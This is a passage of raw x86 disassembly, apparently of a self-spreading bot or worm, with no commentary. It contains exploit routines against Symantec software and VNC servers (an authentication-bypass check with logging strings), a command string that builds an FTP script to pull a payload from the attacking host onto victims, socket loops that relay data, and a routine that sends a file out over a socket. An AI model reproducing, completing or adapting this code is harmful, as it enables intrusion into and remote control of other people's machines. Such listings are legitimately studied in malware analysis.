mov [ebp-12h], ax call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E929 lea eax, [ebp-14h] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_40E929 push edi push 89h push offset dword_432C88 push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E929 mov esi, 640h push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC push edi push 0A8h push offset dword_432D14 push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E929 push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC push edi push 0DEh push offset dword_432DC0 push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E929 push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC movsx eax, byte ptr [ebp-810h] sub eax, 30h jz short loc_40E933 dec eax jz short loc_40E930 loc_40E929: ; CODE XREF: ___:0040E884j ; ___:0040E89Aj ... xor eax, eax jmp loc_40E9F6 ; --------------------------------------------------------------------------- loc_40E930: ; CODE XREF: ___:0040E927j push edi jmp short loc_40E957 ; --------------------------------------------------------------------------- loc_40E933: ; CODE XREF: ___:0040E924j push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3F1 add esp, 0C4h test al, al jnz short loc_40E977 push 1 loc_40E957: ; CODE XREF: ___:0040E931j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3F1 add esp, 0C4h test al, al jz short loc_40E97E loc_40E977: ; CODE XREF: ___:0040E953j mov dword ptr [ebp-4], 1 loc_40E97E: ; CODE XREF: ___:0040E975j push ebx call dword_4CBA6C cmp dword ptr [ebp-4], 0 jz short loc_40E9F3 lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-214h] push 200h push eax call sub_41C360 push 0 lea eax, [ebp-214h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 lea eax, [ebp-214h] push eax call sub_415D38 mov eax, [ebp+0B0h] add esp, 2Ch shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40E9F3: ; CODE XREF: ___:0040E989j push 1 pop eax loc_40E9F6: ; CODE XREF: ___:0040E92Bj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9FB proc near ; CODE XREF: sub_40EAE9+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40EAC9 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_40EAC9 mov edi, 400h push esi mov esi, dword_4271FC lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CB710 push [ebp+arg_0] call sub_40AA06 pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41C360 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40EACD loc_40EAC9: ; CODE XREF: sub_40E9FB+50j ; sub_40E9FB+62j xor eax, eax jmp short loc_40EAE4 ; --------------------------------------------------------------------------- loc_40EACD: ; CODE XREF: sub_40E9FB+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_40EAE4: ; CODE XREF: sub_40E9FB+D0j pop edi pop esi pop ebx leave retn sub_40E9FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EAE9 proc near ; CODE XREF: sub_40C3E8+1EAp ; DATA XREF: ___:off_4317FCo var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CBA14 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CB9D4 push 6 push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40EB5B lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40EB3C push esi jmp short loc_40EB55 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40EAE9+4Ej push 0 push 1213h push offset dword_433424 push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_40EB5F loc_40EB55: ; CODE XREF: sub_40EAE9+51j nop call near ptr 71AB1A6Dh loc_40EB5B: ; CODE XREF: sub_40EAE9+3Cj xor eax, eax jmp short loc_40EBA1 ; --------------------------------------------------------------------------- loc_40EB5F: ; CODE XREF: sub_40EAE9+6Aj nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E9FB add esp, 0C0h test eax, eax jz short loc_40EB9E mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40EB9E: ; CODE XREF: sub_40EAE9+9Ej push 1 pop eax loc_40EBA1: ; CODE XREF: sub_40EAE9+74j pop edi pop esi leave retn sub_40EAE9 endp ; =============== S U B R O U T I N E ======================================= sub_40EBA5 proc near ; CODE XREF: ___:0040EC93p ; ___:0040ECF5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40EBAD: ; CODE XREF: sub_40EBA5+2Dj test edi, edi jle short loc_40EBD8 mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CB9EC test eax, eax jz short loc_40EBD4 cmp eax, 0FFFFFFFFh jz short loc_40EBD4 sub edi, eax add esi, eax jmp short loc_40EBAD ; --------------------------------------------------------------------------- loc_40EBD4: ; CODE XREF: sub_40EBA5+22j ; sub_40EBA5+27j xor eax, eax jmp short loc_40EBDB ; --------------------------------------------------------------------------- loc_40EBD8: ; CODE XREF: sub_40EBA5+Aj push 1 pop eax loc_40EBDB: ; CODE XREF: sub_40EBA5+31j pop edi pop esi retn sub_40EBA5 endp ; =============== S U B R O U T I N E ======================================= sub_40EBDE proc near ; CODE XREF: ___:0040ECDFp ; ___:0040ED0Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40EC1B xor esi, esi test edi, edi jle short loc_40EC15 loc_40EBEE: ; CODE XREF: sub_40EBDE+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40EC1B test eax, eax jz short loc_40EC1B add esi, eax cmp esi, edi jl short loc_40EBEE loc_40EC15: ; CODE XREF: sub_40EBDE+Ej push 1 pop eax loc_40EC18: ; CODE XREF: sub_40EBDE+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40EC1B: ; CODE XREF: sub_40EBDE+8j ; sub_40EBDE+2Bj ... xor eax, eax jmp short loc_40EC18 sub_40EBDE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_4346DC push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40EC4D push eax jmp short loc_40EC81 ; --------------------------------------------------------------------------- loc_40EC4D: ; CODE XREF: ___:0040EC48j lea eax, [ebp+0Ch] push eax call dword_4CBA14 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CB9D4 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jnz short loc_40EC8C push ebx loc_40EC81: ; CODE XREF: ___:0040EC4Bj call dword_4CBA6C jmp loc_40EE87 ; --------------------------------------------------------------------------- loc_40EC8C: ; CODE XREF: ___:0040EC7Ej lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41CCE3 add esp, 10h cmp eax, esi jnz loc_40EE80 cmp dword ptr [ebp-28h], 3 jz short loc_40ECD8 cmp dword ptr [ebp-20h], 8 jnz loc_40EE80 loc_40ECD8: ; CODE XREF: ___:0040ECCCj lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-2] push 1 push eax push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40EE80 push 1 push offset word_4CB88C push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41D9A5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40EE10 push edi push esi push ebx call sub_40EBA5 add esp, 0Ch loc_40EE10: ; CODE XREF: ___:0040EE03j and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41C360 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 lea eax, [ebp-24Ch] push eax call sub_415D38 mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431800[eax] push ebx lea eax, dword_431800[eax] nop call near ptr 71AB1A6Dh push 1 pop eax jmp short loc_40EE89 ; --------------------------------------------------------------------------- loc_40EE80: ; CODE XREF: ___:0040EC9Dj ; ___:0040ECC2j ... push ebx nop call near ptr 71AB1A6Dh loc_40EE87: ; CODE XREF: ___:0040EC87j xor eax, eax loc_40EE89: ; CODE XREF: ___:0040EE7Ej pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EE97: ; CODE XREF: ___:0040EEB3j ; ___:0040EECFj push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CE708 call dword_4CB9EC test eax, eax jle short loc_40EE97 lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CE704 call near ptr 2710000h nop jmp short loc_40EE97 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EEDA: ; CODE XREF: ___:0040EF00j ; ___:0040EF1Aj lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CE6F8 nop call near ptr 27010AAh cmp dword ptr [ebp-4], 0 jle short loc_40EEDA push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CE708 call dword_4CBA24 jmp short loc_40EEDA ; --------------------------------------------------------------------------- dword_40EF1C dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh ; DATA XREF: sub_401ACD+2CCAo dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh dd 15FFFFFFh, 4CB9D4h, 6A56066Ah, 45896602h, 5415FFCAh dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh, 4CBA0015h dd 0FF056A00h, 15FF0875h, 4CB9FCh, 71081D8Bh, 358B0042h dd 427070h, 75FF5757h, 6815FF08h, 0A3004CBAh, 4CE708h dd 57F4458Dh, 0E7046850h, 68004Ch, 0C7004CE7h, 0CF445h dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4CE6FCh dd 4CE6F868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh dd 4CE700h, 890CC483h, 0FCA1BC45h, 89004CE6h, 6A57C045h dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h dd 7D896600h, 96E890B4h, 50023215h, 0E6FC35FFh, 8AE8004Ch dd 90023215h, 0CDE89050h, 8D02320Fh, 8D50D845h, 57508445h dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346E068h dd 0E8905700h, 22612EFh, 50E8458Dh, 0D1685757h, 8D0040EEh dd 5057F445h, 0F92E890h, 45890228h, 0E8458DECh, 68575750h dd 40EE8Eh, 57F4458Dh, 79E89050h, 6A02280Fh, 0F04589FFh dd 90D875FFh, 2910FDE8h, 75FF5702h, 184CE8F0h, 57900229h dd 0E8EC75FFh, 2291842h, 0F075FF90h, 75FFD6FFh, 57D6FFECh dd 90D875FFh, 3119A8E8h, 35FF02h, 0FF004CE7h, 435FFD6h dd 0FF004CE7h, 0F835FFD6h, 0FF004CE6h, 0FC35FFD6h, 0FF004CE6h dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h dd 0FFFE6800h, 680000h, 0E8000004h, 9AD1h, 0E710A359h dd 0C359004Ch dword_40F108 dd 81EC8B55h, 6C0ECh, 8458B00h, 6A575653h, 59F08B27h, 0FF50BD8Dh ; DATA XREF: sub_40BD91+34Do dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh dd 15FFFFFFh, 4CB9D4h, 26A5653h, 0EE458966h, 0FFF05D89h dd 4CBA5415h, 83F88B00h, 0FE3BFFCEh, 5D394575h, 532075E4h dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 51E89053h dd 8B022E0Eh, 0FFFF5485h, 69106AFFh, 234C0h, 1CB88900h dd 8D0043E9h, 5750EC45h, 0BA0015FFh, 0C63B004Ch, 400BBh dd 0CF850F00h, 0FF000000h, 4CB96815h, 27403D00h, 47740000h dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh dd 5959FFFFh, 0DD2E856h, 6890022Eh, 0FFFEh, 9997E853h dd 0A3590000h, 4CE710h, 45896659h, 0EC458DEEh, 5750106Ah dd 0BA0015FFh, 0C63B004Ch, 15FF5475h, 4CB968h, 7539F633h dd 3D2775E4h, 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h dd 0FFC435E8h, 565959FFh, 0D56E890h, 56A022Eh, 0FC15FF57h dd 3B004CB9h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA6815h dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h dd 4CB9ECh, 74FFF883h, 0FF565696h, 4CB71035h, 50B5FF00h dd 0E8FFFFFFh, 0FFFFB6C2h, 0E8685059h, 8D004346h, 0FFF94085h dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh dd 0C657E8h, 8D505900h, 0FFF94085h, 75FF50FFh, 2415FF08h dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E71805FFh, 38E9004Ch dd 57FFFFFFh, 0BA6C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h dd 6A59FFh, 0C56E890h db 2Eh, 2 word_40F3AA dw 8B55h ; DATA XREF: sub_40BD91+22Ao dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h, 0A9h, 0BD8DF08Bh dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h dd 16850F6h, 89000001h, 5D89D85Dh, 0E85D89E0h, 0FDD4B589h dd 0B589FFFFh, 0FFFFFBC4h, 6A4DE1E8h, 53569071h, 0E890026Ah dd 716A481Eh, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h, 8B57FB6Ah dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 0E8578004h, 716A211Eh dd 10A16690h, 83004CB7h, 5000C865h, 0C445C766h, 15FF0002h dd 4CB9D4h, 0C6458966h, 6AC4458Dh, 90575010h, 6A4A69E8h dd 7DC08571h, 0E9C38B07h, 548h, 0E8570A6Ah, 716A696Ah dd 0D49D8990h, 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh dd 416AFC7Dh, 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh dd 0C4858DF6h, 56FFFFFBh, 8B505656h, 5040FC45h, 23DAE890h dd 0F883716Ah, 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h dd 6AF633C5h, 60858D64h, 56FFFFFDh, 0CA96E850h, 646A0000h dd 0FF50858Dh, 5056FFFFh, 0CA87E8h, 18C48300h, 0FBC4858Dh dd 5750FFFFh, 16E57E8h, 0FC08500h, 4A284h, 0F87D3B00h dd 458D7A75h, 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 0E8F875FFh dd 716A916Dh, 0FFF88390h, 479840Fh, 0C9330000h, 0FDD4B539h dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh dd 0FC458903h, 68156A56h, 4349ACh, 0E9D3FF50h, 423h, 60858D56h dd 6AFFFFFDh, 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh dd 4508BFFh, 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah dd 0D48DFFECh, 57FFFFFDh, 6A248CE8h, 0BCE99071h, 8D000003h dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh dd 4349A4h, 0D6DDE850h, 858D0000h, 0FFFFFF50h, 43499C68h dd 39E85000h, 830000D4h, 0C08518C4h, 6A560D75h, 49846816h dd 82E90043h, 8D000000h, 0FFFF5085h, 497C68FFh, 0E8500043h dd 0D414h, 59C08559h, 6A560A75h, 49646814h, 61EB0043h dd 0FF50858Dh, 5C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h dd 560A7559h, 4C680D6Ah, 0EB004349h, 50858D40h, 68FFFFFFh dd 434944h, 0D3D2E850h, 85590000h, 0A7559C0h, 68106A56h dd 434930h, 858D1FEBh, 0FFFFFF50h, 43492C68h, 0B1E85000h dd 590000D3h, 7559C085h, 1E6A560Eh, 43490C68h, 0D9E95700h dd 0BF000002h, 434904h, 0FF50858Dh, 5057FFFFh, 0D38BE8h dd 0C0855900h, 8D247559h, 0FFFCC885h, 490068FFh, 0E8500043h dd 0D374h, 59C08559h, 6A560D75h, 48EC6813h, 9AE90043h dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h dd 858D2475h, 0FFFFFCC8h, 4348E868h, 3DE85000h, 590000D3h dd 7559C085h, 136A560Dh, 4348D468h, 263E900h, 858D0000h dd 0FFFFFF50h, 4348CC68h, 19E85000h, 590000D3h, 7559C085h dd 0BE0A6A34h, 4348A0h, 0D8BD8D59h, 0F3FFFFFEh, 858D50A5h dd 0FFFFFED8h, 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h dd 875FF50h, 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh dd 434898h, 0D2CEE850h, 85590000h, 2A7559C0h, 80BE056Ah dd 59004348h, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h dd 0E8A450FFh, 0C218h, 858D5059h, 0FFFFFF38h, 858DB2EBh dd 0FFFFFF50h, 43487868h, 8DE85000h, 590000D2h, 0F59C085h dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh dd 8D50EC45h, 8D50E445h, 8D50DC45h, 8D50D445h, 0FFFD6085h dd 485068FFh, 0E8500043h, 0D4E7h, 0FF04858Dh, 0E850FFFFh dd 0C951h, 858DF88Bh, 0FFFFFD2Ch, 0C943E850h, 45890000h dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C748h, 8D34C483h dd 0FFFF0485h, 0F475FFFFh, 48486857h, 0E8500043h, 0CA26h dd 858D106Ah, 0FFFFFF04h, 56E85056h, 830000CFh, 45891CC4h dd 0EC458DF4h, 0E4458D50h, 0DC458D50h, 0D4458D50h, 0B4458D50h dd 43483C68h, 0F3E85000h, 830000C9h, 6A5618C4h, 481C681Dh dd 6E90043h, 8D000001h, 0FFFF5085h, 481468FFh, 0E8500043h dd 0D1BCh, 59C08559h, 0CC850Fh, 6A560000h, 47E86828h, 75FF0043h dd 0FFD3FF08h, 458DF475h, 8E850B4h, 59000001h, 5901F883h dd 9E850Fh, 0B5390000h, 0FFFFFBBCh, 8D562375h, 0FFF72085h dd 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h dd 9F7FE8FFh, 0C483FFFFh, 14AE814h, 0F8830000h, 93850F01h dd 56000000h, 0D068176Ah, 0FF004347h, 0D3FF0875h, 50B4458Dh dd 0F720858Dh, 9868FFFFh, 50004347h, 0C949E8h, 0CC48300h dd 0FBBCB539h, 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h dd 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h dd 8D14C483h, 0FFF72085h, 0E1E850FFh, 0FF000063h, 4CE4E005h dd 2EEB5900h, 68206A56h, 434774h, 858D1FEBh, 0FFFFFF50h dd 42CD2068h, 0D5E85000h, 590000D0h, 7559C085h, 1B6A560Dh dd 43475868h, 875FF00h, 646AD3FFh, 0FD60858Dh, 5056FFFFh dd 0C5D3E8h, 87D8B00h, 470CC483h, 89FC7D3Bh, 8E0F087Dh dd 0FFFFFB19h, 0FFFAD9E9h, 58016AFFh, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 call near ptr 71AB3C22h nop push dword ptr [ebp+8] mov dword_4CE71C, eax mov word ptr [ebp-10h], 2 call near ptr 71AB12F8h nop push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CE71C nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40FA37 push dword_4CE71C nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40FA37: ; CODE XREF: ___:0040FA1Fj push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 call near ptr 2680000h nop lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41BEA2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40FAD3 test byte ptr [esi+0Ch], 10h jnz short loc_40FAB7 push edi mov edi, 400h loc_40FA7F: ; CODE XREF: ___:0040FAB4j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41BAFA add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CE71C call near ptr 71AB1AF4h nop push 1 nop call near ptr 2680EBDh test byte ptr [esi+0Ch], 10h jz short loc_40FA7F pop edi loc_40FAB7: ; CODE XREF: ___:0040FA77j push esi call sub_41BA3B pop ecx push dword_4CE71C call near ptr 71AB1A6Dh nop nop call near ptr 71AB1836h push 1 pop eax loc_40FAD3: ; CODE XREF: ___:0040FA71j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FAD6 proc near ; DATA XREF: sub_401ACD+2229o ; sub_40BD91+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41BF70 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CB9D4 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CBA54 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40FEC1 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43E91C[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CBA00 cmp eax, 0FFFFFFFFh jz loc_40FEC1 push 7FFFFFFFh push edi call dword_4CB9FC cmp eax, 0FFFFFFFFh jz loc_40FEC1 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CBA70 cmp eax, 0FFFFFFFFh jz loc_40FEC1 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40FBAD: ; CODE XREF: sub_40FAD6+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, 